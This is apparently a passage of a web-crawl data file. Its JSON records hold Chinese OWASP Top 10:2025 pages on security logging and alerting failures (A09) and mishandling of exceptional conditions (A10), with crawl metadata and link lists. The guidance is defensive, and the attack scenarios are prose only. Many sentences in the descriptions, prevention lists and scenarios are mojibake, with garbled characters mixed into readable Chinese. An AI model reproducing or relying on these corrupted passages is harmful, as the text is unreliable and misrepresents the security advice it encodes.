[CWE-915 对动态确定对象属性的修改控制不当](https://cwe.mitre.org/data/definitions/915.html)\n- [CWE-926 安卓应用组件导出不当](https://cwe.mitre.org/data/definitions/926.html)", "znaku_textu": 6410, "slov": 294, "odkazu": 58, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:10:26", "sha256": "f48728aeb8d175e55cd96f90db14e2f5b7b4d47e232acf1245cb7ea67482800d", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://github.com/federicodotta/Java-Deserialization-Scanner", "https://cheatsheetseries.owasp.org/cheatsheets/Software_Supply_Chain_Security_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Infrastructure_as_Code_Security_Cheat_Sheet.html", "https://wiki.owasp.org/index.php/Deserialization_Cheat_Sheet", "https://safecode.org/publication/SAFECode_Software_Integrity_Controls0610.pdf", "https://www.npr.org/2021/04/16/985439655/a-worst-nightmare-cyberattack-the-untold-story-of-the-solarwinds-hack", "https://about.codecov.io/security-update", "https://www.manning.com/books/securing-devops", "https://tenendo.com/insecure-deserialization/", "https://cwe.mitre.org/data/definitions/345.html", "https://cwe.mitre.org/data/definitions/353.html", "https://cwe.mitre.org/data/definitions/426.html", "https://cwe.mitre.org/data/definitions/427.html", "https://cwe.mitre.org/data/definitions/494.html", "https://cwe.mitre.org/data/definitions/502.html", "https://cwe.mitre.org/data/definitions/506.html", "https://cwe.mitre.org/data/definitions/509.html", "https://cwe.mitre.org/data/definitions/565.html", "https://cwe.mitre.org/data/definitions/784.html", "https://cwe.mitre.org/data/definitions/829.html", "https://cwe.mitre.org/data/definitions/830.html", "https://cwe.mitre.org/data/definitions/915.html", "https://cwe.mitre.org/data/definitions/926.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/zh-Hant/A09_2025-Security_Logging_and_Alerting_Failures/", "titulek": "A09 安全日志记录和告警失效 - OWASP Top 10:2025", "h1": "A09:2025 安全日志记录和告警失效", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/zh-Hant/A09_2025-Security_Logging_and_Alerting_Failures/", "jazyk": "zh-Hant", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A09:2025 安全日志记录和告警失效"}, {"uroven": 2, "text": "背景"}, {"uroven": 2, "text": "评分表"}, {"uroven": 2, "text": "描述"}, {"uroven": 2, "text": "如何预防"}, {"uroven": 2, "text": "攻击场景示例"}, {"uroven": 2, "text": "参考资料"}, {"uroven": 2, "text": "ć˜ ĺ°„çš„ CWE 列表"}], "markdown": "# A09:2025 安全日志记录和告警失效\n\n## 背景\n\n安全日志记录和告警失效保持第 9 位。该类别名称略有变化,用于强调相关日志事件需要告警功能来触发行动。该类别在数据中始终会被低估,并且第三次由社区问卷参与者投票进入列表。该类别极难测试,在 CVE/CVSS 数据中的体现很少(只有 723 个 CVE);但它对可见性、事件告警和取证可能有很大影响。本类别包括与*ć­ŁçĄŽĺ¤„ç†ĺ†™ĺ…Ľć—Ľĺż—ć–‡äťść—śçš„čž“ĺ‡şçź–ç ďźˆCWE-117)、向日志文件插入敏感数据(CWE-532)和日志记录不足(CWE-778)*相关的问题。\n\n## 评分表\n\n| ć˜ ĺ°„çš„ CWE 数量 | 最大发生率 | 平均发生率 | 最大覆盖率 | 平均覆盖率 | ĺšłĺ‡ĺŠ ćƒĺŻĺˆŠç”¨ć€§ | ĺšłĺ‡ĺŠ ćƒĺ˝ąĺ“ | 发生总数 | CVE 总数 |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 5 | 11.33% | 3.91% | 85.96% | 46.48% | 7.19 | 2.65 | 260,288 | 723 |\n\n## 描述\n\nć˛Ąćœ‰ć—Ľĺż—čŽ°ĺ˝•ĺ’Œç›‘ćŽ§ďźŒĺ°ąć— ćł•ćŁ€ćľ‹ć”ťĺ‡ťĺ’ŒĺŽ‰ĺ…¨äş‹äťśďź›ć˛Ąćœ‰ĺ‘Šč­ŚďźŒäšŸĺžˆéšžĺœ¨ĺŽ‰ĺ…¨äş‹äťśä¸­ĺżŤé€Ÿćœ‰ć•ˆĺ“ĺş”ă€‚ĺ˝“ĺ‡şçŽ°äťĽä¸‹ćƒ…ĺ†ľć—śďźŒĺ°ąäźšĺ‘ç”Ÿć—Ľĺż—čŽ°ĺ˝•ä¸čśłă€ćŒçť­ç›‘ćŽ§ä¸čśłă€ćŁ€ćľ‹ä¸čśłďźŒäťĽĺŠć— ćł•é€ščż‡ĺ‘Šč­Śĺ‘čľˇä¸ťĺŠ¨ĺ“ĺş”çš„é—Žé˘˜ďźš\n\n- 可审计事件没有记录或记录不一致,例如登录、登录失败和高价值交易(例如只记录成功登录,不记录失败尝试)。\n- 警告和错误不生成日志消息,或生成的消息不足、不清晰。\n- 日志完整性没有得到妥善保护,容易被篡改。\n- 应用和 API 的日志没有被监控以发现可疑活动。\n- 日志只存储在本地,没有正确备份。\n- ć˛Ąćœ‰ĺťşçŤ‹é€‚ĺ˝“çš„ĺ‘Šč­Śé˜ˆĺ€źĺ’Œĺ“ĺş”ĺ‡çş§ćľç¨‹ďźŒćˆ–čż™äş›ćľç¨‹ć— ć•ˆă€‚ĺ‘Šč­Ść˛Ąćœ‰ĺœ¨ĺˆç†ć—śé—´ĺ†…č˘ŤćŽĽć”śćˆ–ĺŽĄćŸĽă€‚\n- 渗透测试和动态应用安全测试(DAST)工具(例如 Burp 或 ZAP)的扫描没有触发告警。\n- ĺş”ç”¨ć— ćł•ĺŽžć—śćˆ–čż‘ĺŽžć—śćŁ€ćľ‹ă€ĺ‡çş§ćˆ–ĺ‘Šč­Ść­Łĺœ¨ĺ‘ç”Ÿçš„ć”ťĺ‡ťă€‚\n- 通过让日志记录和告警事件对用户或攻击者可见,容易导致敏感信息泄露(参见 [A01:2025-失效的访问控制](../A01_2025-Broken_Access_Control/) ),或记录了不应记录的敏感信息(例如 PII 或 PHI)。\n- ĺŚ‚ćžœć—Ľĺż—ć•°ćŽć˛Ąćœ‰ć­ŁçĄŽçź–ç ďźŒĺ°ąĺŽšć˜“ĺ—ĺˆ°é’ˆĺŻšć—Ľĺż—ćˆ–ç›‘ćŽ§çłťçťŸçš„ćł¨ĺ…Ľćˆ–ć”ťĺ‡ťă€‚\n- ĺş”ç”¨çźşĺ¤ąćˆ–é”™čŻŻĺ¤„ç†é”™čŻŻĺŠĺ…śäť–ĺź‚ĺ¸¸ćĄäťśďźŒĺŻźč‡´çłťçťŸä¸çŸĽé“ĺ‘ç”Ÿäş†é”™čŻŻďźŒĺ› ć­¤ć— ćł•čŽ°ĺ˝•é—Žé˘˜ă€‚\n- çźşĺ°‘čśłĺ¤Ÿçš„ă€ç”¨äşŽč§Śĺ‘ĺ‘Šč­Śçš„â€œç”¨äž‹â€ďźŒćˆ–ç”¨äž‹ĺˇ˛çťčż‡ć—śďźŒć— ćł•čŻ†ĺˆŤç‰šćŽŠćƒ…ĺ†ľă€‚\n- čż‡ĺ¤ščŻŻćŠĽčŽŠäşşć— ćł•ĺŒşĺˆ†é‡čŚĺ‘Šč­Śĺ’Œä¸é‡čŚĺ‘Šč­ŚďźŒĺŻźč‡´é‡čŚĺ‘Šč­Śč˘Ťčż‡ć™ščŻ†ĺˆŤćˆ–ĺŽŒĺ…¨ć˛Ąćœ‰č˘ŤčŻ†ĺˆŤďźˆSOC 团队实际过载)。\n- ĺ› ä¸şčŻĽç”¨äž‹çš„ĺ‰§ćœŹä¸ĺŽŒć•´ă€čż‡ć—śćˆ–çźşĺ¤ąďźŒćŁ€ćľ‹ĺˆ°çš„ĺ‘Šč­Ść— ćł•č˘Ťć­ŁçĄŽĺ¤„ç†ă€‚\n\n## 如何预防\n\nĺź€ĺ‘äşşĺ‘˜ĺş”ć šćŽĺş”ç”¨éŁŽé™ŠĺŽžçŽ°äťĽä¸‹éƒ¨ĺˆ†ćˆ–ĺ…¨éƒ¨ćŽ§ĺˆśďźš\n\n- 确保所有登录、访问控制和服务端输入验证失败都能被记录,并包含足够的用户上下文,以识别可疑或恶意账户;保留足够长时间,以便延迟取证分析。\n- çĄŽäżĺş”ç”¨ä¸­ĺŒ…ĺŤĺŽ‰ĺ…¨ćŽ§ĺˆśçš„ćŻä¸€éƒ¨ĺˆ†éƒ˝čŽ°ĺ˝•ć—Ľĺż—ďźŒć— čŽşćˆĺŠŸčż˜ć˜Żĺ¤ąč´Ľă€‚\n- çĄŽäżć—Ľĺż—äťĽć—Ľĺż—çŽĄç†č§Łĺ†łć–šćĄˆčƒ˝ĺ¤Ÿč˝ťćžćśˆč´šçš„ć źĺźç”Ÿćˆă€‚\n- çĄŽäżć­ŁçĄŽçź–ç ć—Ľĺż—ć•°ćŽďźŒäťĽé˜˛ć­˘ĺŻšć—Ľĺż—ćˆ–ç›‘ćŽ§çłťçťŸçš„ćł¨ĺ…Ľćˆ–ć”ťĺ‡ťă€‚\n- çĄŽäżć‰€ćœ‰äş¤ć˜“éƒ˝ćœ‰ĺ¸ŚĺŽŒć•´ć€§ćŽ§ĺˆśçš„ĺŽĄčŽĄč˝¨čżšďźŒäťĽé˜˛ć­˘çŻĄć”šćˆ–ĺˆ é™¤ďźŒäž‹ĺŚ‚ĺŞčż˝ĺŠ ć•°ćŽĺş“čĄ¨ćˆ–çąťäźźćœşĺˆśă€‚\n- 确保所有抛出错误的交易都回滚并重新开始。始终故障关闭(fail closed)。\n- ĺŚ‚ćžœĺş”ç”¨ćˆ–ĺ…śç”¨ćˆˇčĄŒä¸şĺŻç–‘ďźŒĺş”ĺ‘ĺ‡şĺ‘Šč­Śă€‚ä¸şĺź€ĺ‘äşşĺ‘˜ĺˆ›ĺťşčż™ć–šé˘çš„ćŒ‡ĺ—ďźŒčŽŠäť–äťŹčƒ˝ćŽć­¤çź–ç ďźŒćˆ–é‡‡č´­ç›¸ĺ…łçłťçťŸă€‚\n- DevSecOps 和安全团队应建立有效的监控和告警用例,包括剧本,使安全运营中心(SOC)团队能够快速检测并响应可疑活动。\n- ĺœ¨ĺş”ç”¨ä¸­ĺŠ ĺ…Ľâ€œčœœć ‡â€ä˝œä¸şć”ťĺ‡ťč€…é™ˇé˜ąďźŒäž‹ĺŚ‚ĺŠ ĺ…Ľć•°ćŽĺş“ă€ć•°ćŽďźŒćˆ–ä˝œä¸şçœŸĺŽžĺ’Œ/ćˆ–ćŠ€ćœŻç”¨ćˆˇčşŤäť˝ă€‚ç”ąäşŽĺŽƒäťŹä¸äźšĺœ¨ć­Łĺ¸¸ä¸šĺŠĄä¸­ä˝żç”¨ďźŒäťťä˝•čŽżé—Žéƒ˝äźšç”ŸćˆĺŻĺ‘Šč­Śçš„ć—Ľĺż—ć•°ćŽďźŒä¸”ĺ‡ äšŽć˛Ąćœ‰čŻŻćŠĽă€‚\n- 行为分析和 AI ć”ŻćŒĺŻäťĽä˝œä¸şĺŻé€‰é™„ĺŠ ćŠ€ćœŻďźŒç”¨äşŽé™ä˝Žĺ‘Šč­ŚčŻŻćŠĽçŽ‡ă€‚\n- 建立或采用事件响应和恢复计划,例如 National Institute of Standards and TechnologyNIST)800-61r2 或更新版本。教会软件开发人员应用攻击和事件的表现,使他们能够报告。\n\n商业和开源应用防护产品(例如 OWASP ModSecurity Core Rule Set)以及开源日志关联软件(例如 Elasticsearch、Logstash、KibanaELKďź‰ć ˆďź‰ćäž›č‡ŞĺŽšäš‰äťŞčĄ¨ćżĺ’Œĺ‘Šč­ŚĺŠŸčƒ˝ďźŒĺŻčƒ˝ćœ‰ĺŠŠäşŽĺ¤„ç†čż™äş›é—Žé˘˜ă€‚äšŸćœ‰ĺ•†ä¸šĺŻč§‚ćľ‹ć€§ĺˇĽĺ…ˇĺŻäťĽĺ¸ŽĺŠŠä˝ čż‘ĺŽžć—śĺ“ĺş”ćˆ–é˜ťć–­ć”ťĺ‡ťă€‚\n\n## 攻击场景示例\n\n**场景 #1:** ćŸĺ„żçŤĽĺĽĺşˇčŽĄĺˆ’ćäž›ĺ•†çš„ç˝‘çŤ™čżčĽć–šç”ąäşŽçźşĺ°‘ç›‘ćŽ§ĺ’Œć—Ľĺż—ďźŒć— ćł•ćŁ€ćľ‹ĺˆ°ĺŽ‰ĺ…¨äş‹äťśă€‚ĺ¤–éƒ¨ć–šé€šçŸĽčŻĽĺĽĺşˇčŽĄĺˆ’ćäž›ĺ•†ďźŒć”ťĺ‡ťč€…ĺˇ˛çťčŽżé—ŽĺšśäżŽć”šäş†čś…čż‡ 350 万名儿童的数千条敏感健康记录。事件后审查发现,网站开发人员没有处理重大漏洞。由于系统没有日志记录或监控,数据泄露可能自 2013 年以来一直在进行,时间超过七年。\n\n**场景 #2:** 某大型印度航空公司发生数据泄露,涉及数百万乘客超过十年的个人数据,包括护照和信用卡数据。数据泄露发生在第三方云托管提供商处,该提供商在一段时间后才通知航空公司。\n\n**场景 #3:** 某大型欧洲航空公司发生必须按 GDPR ćŠĽĺ‘Šçš„ĺŽ‰ĺ…¨äş‹äťśă€‚ćŽćŠĽé“ďźŒčŻĽäş‹äťśç”ąć”ťĺ‡ťč€…ĺˆŠç”¨ć”Żäť˜ĺş”ç”¨ĺŽ‰ĺ…¨ćźć´žé€ ćˆďźŒć”ťĺ‡ťč€…ć”śé›†äş†čś…čż‡ 40 ä¸‡ćĄĺŽ˘ćˆˇć”Żäť˜čŽ°ĺ˝•ă€‚čŻĽčˆŞçŠşĺ…Źĺ¸ĺ› ć­¤č˘Ťéšç§ç›‘çŽĄćœşćž„ç˝šćŹž 2000 万英镑。\n\n## 参考资料\n\n- [OWASP Proactive Controls: C9: Implement Logging and Monitoring](https://top10proactive.owasp.org/archive/2024/the-top-10/c9-security-logging-and-monitoring/)\n- [OWASP Application Security Verification Standard: V16 Security Logging and Error Handling](https://github.com/OWASP/ASVS/blob/v5.0.0/5.0/en/0x25-V16-Security-Logging-and-Error-Handling.md)\n- [OWASP Cheat Sheet: Application Logging Vocabulary](https://cheatsheetseries.owasp.org/cheatsheets/Application_Logging_Vocabulary_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: Logging](https://cheatsheetseries.owasp.org/cheatsheets/Logging_Cheat_Sheet.html)\n- [Data Integrity: Recovering from Ransomware and Other Destructive Events](https://csrc.nist.gov/publications/detail/sp/1800-11/final)\n- [Data Integrity: Identifying and Protecting Assets Against Ransomware and Other Destructive Events](https://csrc.nist.gov/publications/detail/sp/1800-25/final)\n- [Data Integrity: Detecting and Responding to Ransomware and Other Destructive Events](https://csrc.nist.gov/publications/detail/sp/1800-26/final)\n- [Real world example of such failures in Snowflake Breach](https://www.huntress.com/threat-library/data-breach/snowflake-data-breach)\n\n## ć˜ ĺ°„çš„ CWE 列表\n\n- [CWE-117 日志输出转义不当](https://cwe.mitre.org/data/definitions/117.html)\n- [CWE-221 ĺ› é—ćźé€ ćˆäżĄćŻä¸˘ĺ¤ą](https://cwe.mitre.org/data/definitions/221.html)\n- [CWE-223 遗漏安全相关信息](https://cwe.mitre.org/data/definitions/223.html)\n- [CWE-532 向日志文件插入敏感信息](https://cwe.mitre.org/data/definitions/532.html)\n- [CWE-778 日志记录不足](https://cwe.mitre.org/data/definitions/778.html)", "znaku_textu": 7338, "slov": 322, "odkazu": 48, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:10:27", "sha256": "17fad73359588a6b07bfecdbc62987473e02def4de67db58b746ff44257b5683", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://top10proactive.owasp.org/archive/2024/the-top-10/c9-security-logging-and-monitoring/", "https://github.com/OWASP/ASVS/blob/v5.0.0/5.0/en/0x25-V16-Security-Logging-and-Error-Handling.md", "https://cheatsheetseries.owasp.org/cheatsheets/Application_Logging_Vocabulary_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Logging_Cheat_Sheet.html", "https://csrc.nist.gov/publications/detail/sp/1800-11/final", "https://csrc.nist.gov/publications/detail/sp/1800-25/final", "https://csrc.nist.gov/publications/detail/sp/1800-26/final", "https://www.huntress.com/threat-library/data-breach/snowflake-data-breach", "https://cwe.mitre.org/data/definitions/117.html", "https://cwe.mitre.org/data/definitions/221.html", "https://cwe.mitre.org/data/definitions/223.html", "https://cwe.mitre.org/data/definitions/532.html", "https://cwe.mitre.org/data/definitions/778.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/zh-Hant/A10_2025-Mishandling_of_Exceptional_Conditions/", "titulek": "A10 异常条件处理不当 - OWASP Top 10:2025", "h1": "A10:2025 异常条件处理不当", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/zh-Hant/A10_2025-Mishandling_of_Exceptional_Conditions/", "jazyk": "zh-Hant", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A10:2025 异常条件处理不当"}, {"uroven": 2, "text": "背景"}, {"uroven": 2, "text": "评分表"}, {"uroven": 2, "text": "描述"}, {"uroven": 2, "text": "如何预防"}, {"uroven": 2, "text": "攻击场景示例"}, {"uroven": 2, "text": "参考资料"}, {"uroven": 2, "text": "ć˜ ĺ°„çš„ CWE 列表"}], "markdown": "# A10:2025 异常条件处理不当\n\n## 背景\n\n异常条件处理不当是 2025 年新增类别。该类别包含 24 个 CWE,关注错误处理不当、逻辑错误、失效开放,以及系统可能遇到的异常条件所引发的其他相关场景。本类别中有一些 CWE čż‡ĺŽťä¸ŽäťŁç č´¨é‡ĺˇŽç›¸ĺ…łč”ă€‚ĺŻšćˆ‘äťŹćĽčŻ´ďźŒčż™ç§čŻ´ćł•čż‡äşŽĺŽ˝ćł›ďź›ćˆ‘äťŹčŽ¤ä¸şďźŒčż™ä¸Şć›´ĺ…ˇä˝“çš„çąťĺˆŤčƒ˝ćäž›ć›´ĺĽ˝çš„ćŒ‡ĺŻźă€‚\n\n本类别中值得关注的 CWE 包括:*CWE-209:生成包含敏感信息的错误消息*、*CWE-234:未处理缺失参数*、*CWE-274:权限不足处理不当*、*CWE-476:空指针解引用* 和 *CWE-636:未能安全失效(失效开放)*。\n\n## 评分表\n\n| ć˜ ĺ°„çš„ CWE 数量 | 最大发生率 | 平均发生率 | 最大覆盖率 | 平均覆盖率 | ĺšłĺ‡ĺŠ ćƒĺŻĺˆŠç”¨ć€§ | ĺšłĺ‡ĺŠ ćƒĺ˝ąĺ“ | 发生总数 | CVE 总数 |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 24 | 20.67% | 2.95% | 100.00% | 37.95% | 7.11 | 3.81 | 769,581 | 3,416 |\n\n## 描述\n\nč˝Żäťśä¸­ĺź‚ĺ¸¸ćĄäťśĺ¤„ç†ä¸ĺ˝“ďźŒć˜ŻćŒ‡ç¨‹ĺşćœŞčƒ˝é˘„é˜˛ă€ćŁ€ćľ‹ĺ’Œĺ“ĺş”ĺź‚ĺ¸¸ä¸”ä¸ĺŻé˘„ćľ‹çš„ćƒ…ĺ†ľďźŒäťŽč€ŒĺŻźč‡´ĺ´Šćşƒă€ć„ĺ¤–čĄŒä¸şďźŒćœ‰ć—śčż˜äźšé€ ćˆćźć´žă€‚čż™ĺŻčƒ˝ćś‰ĺŠäťĽä¸‹ä¸‰çąťĺ¤ąč´Ľä¸­çš„ä¸€ç§ćˆ–ĺ¤šç§ďźšĺş”ç”¨ć˛Ąćœ‰é˜ťć­˘ĺź‚ĺ¸¸ćƒ…ĺ†ľĺ‘ç”ŸďźŒć˛Ąćœ‰ĺœ¨ĺź‚ĺ¸¸ćƒ…ĺ†ľĺ‘ç”Ÿć—śčŻ†ĺˆŤĺŽƒďźŒĺ’Œ/或在事后响应不佳或完全不响应。\n\nĺź‚ĺ¸¸ćĄäťśĺŻčƒ˝ç”ąçźşĺ¤ąă€č–„ĺźąćˆ–ä¸ĺŽŒć•´çš„čž“ĺ…ĽéŞŒčŻé€ ćˆďźŒäšŸĺŻčƒ˝ç”ąć˛Ąćœ‰ĺœ¨é”™čŻŻĺ‘ç”Ÿçš„ĺ‡˝ć•°ĺ¤„ĺ¤„ç†ďźŒč€Œć˜Żĺœ¨čžƒć™šă€ć›´éŤ˜ĺą‚çş§ĺ¤„ç†é”™čŻŻé€ ćˆďź›čż˜ĺŻčƒ˝ćĽč‡Şĺ†…ĺ­˜ă€ćƒé™ćˆ–ç˝‘çťœé—Žé˘˜ç­‰ć„ĺ¤–çŽŻĺ˘ƒçŠść€ă€ä¸ä¸€č‡´çš„ĺź‚ĺ¸¸ĺ¤„ç†ďźŒćˆ–ĺŽŒĺ…¨ćœŞĺ¤„ç†çš„ĺź‚ĺ¸¸ďźŒä˝żçłťçťŸčż›ĺ…ĽćœŞçŸĽä¸”ä¸ĺŻé˘„ćľ‹çš„çŠść€ă€‚äťťä˝•ć—śĺ€™ďźŒĺŞčŚĺş”ç”¨ä¸çĄŽĺŽšä¸‹ä¸€ćĄćŒ‡äť¤ć˜Żäť€äšˆďźŒĺ°ąĺˇ˛çťĺŻšĺź‚ĺ¸¸ćĄäťśĺ¤„ç†ä¸ĺ˝“ă€‚éšžäťĽĺ‘çŽ°çš„é”™čŻŻĺ’Œĺź‚ĺ¸¸ĺŻčƒ˝é•żćœŸĺ¨čƒć•´ä¸Şĺş”ç”¨çš„ĺŽ‰ĺ…¨ă€‚\n\n当我们对异常条件处理不当时,可能出现许多不同安全漏洞,例如逻辑缺陷、溢出、竞争条件、欺诈交易,或与内存、状态、资源、时序、认证和授权有关的问题。这些类型的漏洞可能负面影响系统或其数据的机密性、可用性和/或完整性。攻击者会操纵应用有缺陷的错误处理来利用此类漏洞。\n\n## 如何预防\n\n为了正确处理异常条件,我们必须提前为这类情况做计划(预期最坏情况)。我们必须在每个可能发生系统错误的位置直接“捕获”错误,然后处理它,也就是采取有意义的行动来解决问题,并确保系统从问题中恢复。作为处理的一部分,应包括抛出错误(以用户能理解的方式告知用户)、记录事件日志,并在我们认为有必要时发出告警。还应设置全局异常处理器,以应对可能遗漏的情况。理想情况下,我们还应具备监控和/或可观测性工具或功能,用于发现重复错误或表明正在发生攻击的模式,并能触发某种响应、防御或阻断。这可以帮助我们阻止并响应专门针对错误处理弱点的脚本和机器人。\n\nć•čŽˇĺšśĺ¤„ç†ĺź‚ĺ¸¸ćĄäťśĺŻäťĽçĄŽäżç¨‹ĺşçš„ĺş•ĺą‚ĺŸşçĄ€čŽžć–˝ä¸äźšč˘ŤčżŤĺ¤„ç†ä¸ĺŻé˘„ćľ‹çš„ćƒ…ĺ†ľă€‚ĺŚ‚ćžœä˝ ć­Łĺ¤„äşŽäťťä˝•çąťĺž‹äş¤ć˜“çš„ä¸­é€”ďźŒéžĺ¸¸é‡čŚçš„ä¸€ç‚šć˜Żĺ›žćťšäş¤ć˜“çš„ćŻä¸Şéƒ¨ĺˆ†ĺšśé‡ć–°ĺź€ĺ§‹ďźˆäšŸç§°ä¸şć•…éšœĺ…łé—­ďźŒfailing closedďź‰ă€‚čŻ•ĺ›žäťŽäş¤ć˜“ä¸­é€”ć˘ĺ¤ďźŒĺž€ĺž€äźšé€ ćˆć— ćł•ć˘ĺ¤çš„é”™čŻŻă€‚\n\nĺœ¨ĺŻčƒ˝çš„ćƒ…ĺ†ľä¸‹ďźŒĺ°˝é‡ĺŠ ĺ…Ľé€ŸçŽ‡é™ĺˆśă€čľ„ćşé…é˘ă€čŠ‚ćľĺ’Œĺ…śäť–é™ĺˆśďźŒäťŽćşĺ¤´é˘„é˜˛ĺź‚ĺ¸¸ćĄäťśă€‚äżĄćŻćŠ€ćœŻä¸­ä¸ĺş”ĺ­˜ĺœ¨ć— é™ĺˆśçš„ä¸œčĽżďźŒĺ› ä¸şčż™äźšĺŻźč‡´ĺş”ç”¨éŸ§ć€§ä¸čśłă€ć‹’çťćœĺŠĄă€ćˆĺŠŸçš„ćš´ĺŠ›ç ´č§Łć”ťĺ‡ťäťĽĺŠĺź‚ĺ¸¸éŤ˜ć˜‚çš„äş‘č´Śĺ•ă€‚\n\nčŻˇč€ƒč™‘ć˜ŻĺŚĺş”ĺ°†čś…čż‡ä¸€ĺŽšé˘‘çŽ‡çš„ç›¸ĺŒé‡ĺ¤é”™čŻŻĺŞčž“ĺ‡şä¸şçťŸčŽĄäżĄćŻďźŒć˜žç¤şĺ‘ç”ŸćŹĄć•°ĺ’Œć—śé—´čŒƒĺ›´ă€‚čŻĽäżĄćŻĺş”čż˝ĺŠ ĺˆ°ĺŽŸĺ§‹ćśˆćŻä¸­ďźŒäťĽĺ…ĺš˛ć‰°č‡ŞĺŠ¨ĺŒ–ć—Ľĺż—čŽ°ĺ˝•ĺ’Œç›‘ćŽ§ďźŒĺ‚č§ [A09:2025 安全日志记录和告警失效](../A09_2025-Security_Logging_and_Alerting_Failures/)。\n\né™¤ć­¤äš‹ĺ¤–ďźŒćˆ‘äťŹčż˜ĺ¸Œćœ›ĺŠ ĺ…Ľä¸Ľć źčž“ĺ…ĽéŞŒčŻďźˆĺŻšĺż…éĄťćŽĽĺ—çš„ć˝œĺœ¨ĺąé™Šĺ­—çŹŚčż›čĄŒć¸…ç†ćˆ–č˝Źäš‰ďź‰ďźŒäťĽĺŠ*集中式*错误处理、日志记录、监控、告警和全局异常处理器。一个应用不应有多个处理异常条件的函数,应在一个地方以相同方式执行。我们还应为本节所有建议创建项目安全需求,在项目设计阶段执行威胁建模和/ćˆ–ĺŽ‰ĺ…¨čŽžčŽĄĺŽĄćŸĽć´ťĺŠ¨ďźŒć‰§čĄŒäťŁç ĺŽĄćŸĽćˆ–é™ć€ĺˆ†ćžďźŒĺšśĺŻšćœ€çťˆçłťçťŸć‰§čĄŒĺŽ‹ĺŠ›ă€ć€§čƒ˝ĺ’Œć¸—é€ćľ‹čŻ•ă€‚\n\nĺŚ‚ćžœĺŻčƒ˝ďźŒć•´ä¸Şçť„çť‡ĺş”äťĽĺŒä¸€ç§ć–šĺźĺ¤„ç†ĺź‚ĺ¸¸ćĄäťśďźŒĺ› ä¸şčż™äźščŽŠčż™éĄšé‡čŚĺŽ‰ĺ…¨ćŽ§ĺˆśçš„äťŁç ĺŽĄćŸĽĺ’ŒĺŽĄčŽĄć›´ĺŽšć˜“ă€‚\n\n## 攻击场景示例\n\n**场景 #1:** ĺź‚ĺ¸¸ćĄäťśĺ¤„ç†ä¸ĺ˝“ĺŻźč‡´čľ„ćşč€—ĺ°˝ďźˆć‹’çťćœĺŠĄďź‰ă€‚ĺŚ‚ćžœĺş”ç”¨ĺœ¨ä¸Šäź ć–‡äťść—ść•čŽˇĺź‚ĺ¸¸ďźŒä˝†äş‹ĺŽć˛Ąćœ‰ć­ŁçĄŽé‡Šć”žčľ„ćşďźŒćŻćŹĄć–°ĺź‚ĺ¸¸éƒ˝äźščŽŠčľ„ćşäżćŒé”ĺŽšćˆ–ä¸ĺŻç”¨ďźŒç›´ĺˆ°ć‰€ćœ‰čľ„ćşč€—ĺ°˝ă€‚\n\n**场景 #2:** é”™čŻŻĺ¤„ç†ä¸ĺ˝“ćˆ–ć•°ćŽĺş“é”™čŻŻćŠŠĺŽŒć•´çłťçťŸé”™čŻŻćš´éœ˛çť™ç”¨ćˆˇďźŒĺŻźč‡´ć•ć„Ÿć•°ćŽćł„éœ˛ă€‚ć”ťĺ‡ťč€…ćŒçť­ĺˆśé€ é”™čŻŻďźŒäťĽĺˆŠç”¨ć•ć„ŸçłťçťŸäżĄćŻćž„é€ ć›´ĺĽ˝çš„ SQL 注入攻击。用户错误消息中的敏感数据成为侦察信息。\n\n**场景 #3:** ć”ťĺ‡ťč€…é€ščż‡ç˝‘çťœä¸­ć–­ć‰“ć–­ĺ¤šć­ĽéŞ¤äş¤ć˜“ďźŒĺŻčƒ˝ĺŻźč‡´é‡‘čžäş¤ć˜“çŠść€ćŸĺă€‚ĺ‡čŽžäş¤ć˜“éĄşĺşä¸şďźšć‰Łĺ‡ç”¨ćˆˇč´Śćˆˇă€ĺ˘žĺŠ ç›Žć ‡č´Śćˆˇä˝™é˘ă€čŽ°ĺ˝•äş¤ć˜“ă€‚ĺŚ‚ćžœçłťçťŸĺœ¨ä¸­é€”ĺ‡şé”™ć—ść˛Ąćœ‰ć­ŁçĄŽĺ›žćťšć•´ä¸Şäş¤ć˜“ďźˆć•…éšœĺ…łé—­ďź‰ďźŒć”ťĺ‡ťč€…ĺŻčƒ˝č€—ĺ°˝ç”¨ćˆˇč´ŚćˆˇďźŒćˆ–ĺŻčƒ˝ĺˆŠç”¨çŤžäş‰ćĄäťśĺ¤šćŹĄĺ‘ç›Žć ‡č´Śćˆˇč˝Źč´Śă€‚\n\n## 参考资料\n\nOWASP MASVS-RESILIENCE\n\n- [OWASP Cheat Sheet: Logging](https://cheatsheetseries.owasp.org/cheatsheets/Logging_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: Error Handling](https://cheatsheetseries.owasp.org/cheatsheets/Error_Handling_Cheat_Sheet.html)\n- [OWASP Application Security Verification Standard (ASVS): V16.5 Error Handling](https://github.com/OWASP/ASVS/blob/master/5.0/en/0x25-V16-Security-Logging-and-Error-Handling.md#v165-error-handling)\n- [OWASP Testing Guide: 4.8.1 Testing for Error 